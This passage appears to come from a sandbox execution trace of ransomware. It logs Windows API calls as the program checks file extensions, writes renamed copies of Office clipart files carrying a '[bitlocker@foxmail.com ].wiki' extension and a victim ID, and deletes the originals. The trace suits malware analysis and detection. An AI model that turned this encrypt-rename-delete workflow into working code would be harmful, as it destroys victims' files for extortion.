[0061.344] lstrlenW (lpString=".doc") returned 4 [0061.344] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.344] lstrlenW (lpString=".docx") returned 5 [0061.344] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.345] lstrlenW (lpString=".pdf") returned 4 [0061.345] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.345] lstrlenW (lpString=".xls") returned 4 [0061.345] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.345] lstrlenW (lpString=".xlsx") returned 5 [0061.345] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.345] lstrlenW (lpString=".ppt") returned 4 [0061.345] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0061.345] lstrlenW (lpString=".zip") returned 4 [0061.345] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.345] lstrlenW (lpString=".rar") returned 4 [0061.345] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.345] lstrlenW (lpString=".bz2") returned 4 [0061.345] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.345] lstrlenW (lpString=".7z") returned 3 [0061.345] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0061.345] lstrlenW (lpString=".dbf") returned 4 [0061.345] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0061.345] lstrlenW (lpString=".1cd") returned 4 [0061.345] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0061.345] lstrlenW (lpString=".jpg") returned 4 [0061.345] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.345] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0061.345] lstrlenW (lpString="AN04225_.WMF") returned 12 [0061.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0061.346] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=8492) returned 1 [0061.346] CloseHandle (hObject=0x1f0) returned 1 [0061.346] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf")) returned 0x20 [0061.346] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0061.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0061.346] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.346] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0061.346] GetLastError () returned 0x0 [0061.346] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x212c, lpOverlapped=0x0) returned 1 [0061.588] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x2130, lpOverlapped=0x0) returned 1 [0061.589] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.599] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.599] SetEndOfFile (hFile=0x1e8) returned 1 [0061.695] CloseHandle (hObject=0x1e8) returned 1 [0061.695] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.695] SetEndOfFile (hFile=0x1f0) returned 1 [0061.696] CloseHandle (hObject=0x1f0) returned 1 [0061.730] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0061.731] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf")) returned 1 [0062.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0062.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0062.174] lstrlenW (lpString=".doc") returned 4 [0062.175] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.175] lstrlenW (lpString=".docx") returned 5 [0062.177] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0062.177] lstrlenW (lpString=".pdf") returned 4 [0062.178] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.178] lstrlenW (lpString=".xls") returned 4 [0062.179] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.180] lstrlenW (lpString=".xlsx") returned 5 [0062.181] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.181] lstrlenW (lpString=".ppt") returned 4 [0062.181] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0062.187] lstrlenW (lpString=".zip") returned 4 [0062.187] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.188] lstrlenW (lpString=".rar") returned 4 [0062.189] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.190] lstrlenW (lpString=".bz2") returned 4 [0062.190] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.190] lstrlenW (lpString=".7z") returned 3 [0062.190] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0062.190] lstrlenW (lpString=".dbf") returned 4 [0062.190] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0062.190] lstrlenW (lpString=".1cd") returned 4 [0062.190] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0062.190] lstrlenW (lpString=".jpg") returned 4 [0062.190] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0062.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0062.190] lstrlenW (lpString=".doc") returned 4 [0062.190] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.190] lstrlenW (lpString=".docx") returned 5 [0062.190] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0062.190] lstrlenW (lpString=".pdf") returned 4 [0062.190] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.191] lstrlenW (lpString=".xls") returned 4 [0062.191] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.191] lstrlenW (lpString=".xlsx") returned 5 [0062.191] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.191] lstrlenW (lpString=".ppt") returned 4 [0062.191] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0062.191] lstrlenW (lpString=".zip") returned 4 [0062.191] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.192] lstrlenW (lpString=".rar") returned 4 [0062.193] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.194] lstrlenW (lpString=".bz2") returned 4 [0062.194] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.195] lstrlenW (lpString=".7z") returned 3 [0062.195] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0062.197] lstrlenW (lpString=".dbf") returned 4 [0062.197] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0062.198] lstrlenW (lpString=".1cd") returned 4 [0062.199] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0062.200] lstrlenW (lpString=".jpg") returned 4 [0062.201] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.206] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0062.207] lstrlenW (lpString="AN04369_.WMF") returned 12 [0062.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0063.313] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=4808) returned 1 [0063.313] CloseHandle (hObject=0x200) returned 1 [0063.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf")) returned 0x20 [0063.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0063.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0063.414] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.414] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0063.421] GetLastError () returned 0x0 [0063.421] ReadFile (in: hFile=0x240, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x12c8, lpOverlapped=0x0) returned 1 [0063.424] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x12d0, lpOverlapped=0x0) returned 1 [0063.426] ReadFile (in: hFile=0x240, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0063.426] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0063.426] SetEndOfFile (hFile=0x1e8) returned 1 [0063.426] CloseHandle (hObject=0x1e8) returned 1 [0063.426] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.426] SetEndOfFile (hFile=0x240) returned 1 [0063.427] CloseHandle (hObject=0x240) returned 1 [0063.427] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0063.427] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf")) returned 1 [0063.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0063.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0063.427] lstrlenW (lpString=".doc") returned 4 [0063.427] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.427] lstrlenW (lpString=".docx") returned 5 [0063.427] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.427] lstrlenW (lpString=".pdf") returned 4 [0063.427] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.428] lstrlenW (lpString=".xls") returned 4 [0063.428] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.428] lstrlenW (lpString=".xlsx") returned 5 [0063.428] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.428] lstrlenW (lpString=".ppt") returned 4 [0063.428] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0063.428] lstrlenW (lpString=".zip") returned 4 [0063.428] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.428] lstrlenW (lpString=".rar") returned 4 [0063.428] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.428] lstrlenW (lpString=".bz2") returned 4 [0063.428] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.428] lstrlenW (lpString=".7z") returned 3 [0063.428] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0063.428] lstrlenW (lpString=".dbf") returned 4 [0063.428] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0063.428] lstrlenW (lpString=".1cd") returned 4 [0063.428] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0063.428] lstrlenW (lpString=".jpg") returned 4 [0063.428] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0063.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0063.428] lstrlenW (lpString=".doc") returned 4 [0063.428] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.428] lstrlenW (lpString=".docx") returned 5 [0063.428] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.428] lstrlenW (lpString=".pdf") returned 4 [0063.428] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.428] lstrlenW (lpString=".xls") returned 4 [0063.429] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.429] lstrlenW (lpString=".xlsx") returned 5 [0063.429] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.429] lstrlenW (lpString=".ppt") returned 4 [0063.429] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0063.429] lstrlenW (lpString=".zip") returned 4 [0063.429] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.429] lstrlenW (lpString=".rar") returned 4 [0063.429] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.429] lstrlenW (lpString=".bz2") returned 4 [0063.429] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.429] lstrlenW (lpString=".7z") returned 3 [0063.429] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0063.429] lstrlenW (lpString=".dbf") returned 4 [0063.429] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0063.429] lstrlenW (lpString=".1cd") returned 4 [0063.429] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0063.429] lstrlenW (lpString=".jpg") returned 4 [0063.429] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.429] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0063.429] lstrlenW (lpString="BD00173_.WMF") returned 12 [0063.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0063.430] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=16180) returned 1 [0063.430] CloseHandle (hObject=0x240) returned 1 [0063.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf")) returned 0x20 [0063.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0063.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0063.430] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.430] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0063.430] GetLastError () returned 0x0 [0063.430] ReadFile (in: hFile=0x240, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x3f34, lpOverlapped=0x0) returned 1 [0063.434] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x3f40, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x3f40, lpOverlapped=0x0) returned 1 [0063.435] ReadFile (in: hFile=0x240, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0063.435] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0063.435] SetEndOfFile (hFile=0x1e8) returned 1 [0063.435] CloseHandle (hObject=0x1e8) returned 1 [0063.436] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.436] SetEndOfFile (hFile=0x240) returned 1 [0063.436] CloseHandle (hObject=0x240) returned 1 [0063.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0063.437] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf")) returned 1 [0063.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0063.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0063.437] lstrlenW (lpString=".doc") returned 4 [0063.437] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.437] lstrlenW (lpString=".docx") returned 5 [0063.437] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.437] lstrlenW (lpString=".pdf") returned 4 [0063.437] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.437] lstrlenW (lpString=".xls") returned 4 [0063.437] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.437] lstrlenW (lpString=".xlsx") returned 5 [0063.437] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.437] lstrlenW (lpString=".ppt") returned 4 [0063.437] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0063.437] lstrlenW (lpString=".zip") returned 4 [0063.437] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.437] lstrlenW (lpString=".rar") returned 4 [0063.437] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.437] lstrlenW (lpString=".bz2") returned 4 [0063.437] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.437] lstrlenW (lpString=".7z") returned 3 [0063.437] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0063.437] lstrlenW (lpString=".dbf") returned 4 [0063.437] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0063.438] lstrlenW (lpString=".1cd") returned 4 [0063.438] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0063.438] lstrlenW (lpString=".jpg") returned 4 [0063.438] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0063.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0063.438] lstrlenW (lpString=".doc") returned 4 [0063.438] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.438] lstrlenW (lpString=".docx") returned 5 [0063.438] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.438] lstrlenW (lpString=".pdf") returned 4 [0063.438] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.438] lstrlenW (lpString=".xls") returned 4 [0063.438] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.438] lstrlenW (lpString=".xlsx") returned 5 [0063.438] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.438] lstrlenW (lpString=".ppt") returned 4 [0063.438] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.438] lstrlenW 